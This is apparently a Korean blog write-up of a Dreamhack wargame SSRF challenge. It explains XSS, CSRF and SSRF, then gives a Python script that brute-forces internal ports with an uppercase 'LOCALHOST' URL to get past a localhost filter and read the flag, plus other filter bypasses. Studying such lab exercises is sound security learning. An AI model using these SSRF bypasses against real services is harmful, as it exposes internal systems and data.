XSS (Cross Site Scripting)
공격할 사이트의 origin에서 스크립트를 실행시킴, 클라이언트 대상 공격으로 세션 및 쿠키 탈취 목적
CSRF (Cross Site Request Forgery)
악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 임의 페이지에 HTTP 요청을 보내는 / 웹서비스의 임의 기능을 실행시키는 공격
SSRF (Server Side Requet Forgery)
웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청 보냄
웹 서비스의 요청 내에 이용자의 입력값이 포함되어야 함
- 입력 URL에 요청 보내는 경우: 웹서비스의 마이크로서비스 API 주소를 파악한 후 접근
- 웹서비스의 요청 URL에 입력값 포함되는 경우: path traversal, Fragment identifier(#) 이용해 뒤의 문자열 생략
- 웹서비스의 요청 body에 입력값 포함되는 경우: 구분자 & 등을 이
엔드포인트?
https://velog.io/@kho5420/Web-API-%EA%B7%B8%EB%A6%AC%EA%B3%A0-EndPoint
문제 분석
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url) # url을 각 구성요소로 분리
if url[0] == "/": # route로 시작 시 자동으로 scheme+netloc 추가
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): # 도메인에 localhost / 127.0.0.1 포함 시
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
- user input이 /로 시작하면 "http://localhost:8000" 앞에 붙여줌
- user input에서 도메인에 "localhost", "127.0.0.1" 필터링 => 대소문자 우회 가능!
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800) # 포트 랜덤
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
) # 내부 서버
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True) # Flask 애플리케이션 hosting
- 1500~1800 사이의 랜덤 포트 번호를 매핑하여 내부 로컬 서버를 별도 스레드로 운영한다
- 8000번 포트에서 Flask Application을 호스팅한다
- /static 폴더의 정적 파일같은 경우 8000번 포트의 Flask 어플리케이션에서도 접근(처리) 가능하지만
- /flag.txt의 경우 우리가 웹서비스의 요청 url을 변조하여 요청해야한다
=> url 필터링 피하고, 포트번호 파악
문제 해결
import requests
# 실패 이미지 (Not Found)
failed_image = '<img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWnltSIaEEEJASehOlSJcSQotUqYKNkAQSSogJQcSuLCq4dhEBG7oqouhaAFkr9rIo9v6woKKsiwUbKm9SQFe/9973zvfNvX/OnPOfkrlz7wCgVcOVSHJRbQDyxAXS+PBg5tjUNCbpMUAAGWAAB3QuTyZhxcVFASgD93/Ku+vQGsoVZwXXz/P/VXT4AhkPACQO'
for port in range(1500, 1801):
print("port : "+str(port))
c = requests.post('http://host3.dreamhack.games:18234/img_viewer', data={"url": 'http://LOCALHOST:{port}/flag.txt'.format(port=port)})
if failed_image not in c.text:
print(c.text)
break
error.png는 "NOT FOUND X" 이런 이미지더라
/app/flag.txt에 있는 줄 알고 삽 품, 실제로는 /flag.txt
base64 디코딩하면 플래그 값 획득 가능
cf) URL 구조
python urlparse()
from urllib.parse import urlparse
parsed = urlparse("https://www.test.com:8000/%test/contents.html")
print(parsed)
# ParseResult(scheme='https', netloc='www.test.com:8000', path='/%test/contents.html', params='', query='', fragment='')
# 순서대로 idx 0 ~ 5
cf) 참신한 풀이들
- 127.0.0.1을 십진수로 바꿔 우회
https://dreamhack.io/wargame/challenges/75/?writeup_id=1075
-127.0.1 이용
https://dreamhack.io/wargame/challenges/75/?writeup_id=735
- 0.0.0.0 사용
https://dreamhack.io/wargame/challenges/75/?writeup_id=3843
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] XSS Filtering Bypass Advanced + HTML 엔티티 (0) | 2023.07.02 |
---|---|
[Dreamhack Wargame] blind-command + curl (0) | 2023.07.01 |
[Dreamhack Wargame] Image-storage + php 웹쉘 업로드 (0) | 2023.06.30 |
[Dreamhack Wargame] Command-Injection-1 (0) | 2023.06.30 |
[Dreamhack Wargame] Mango + req.query 타입검사 미흡 (0) | 2023.06.29 |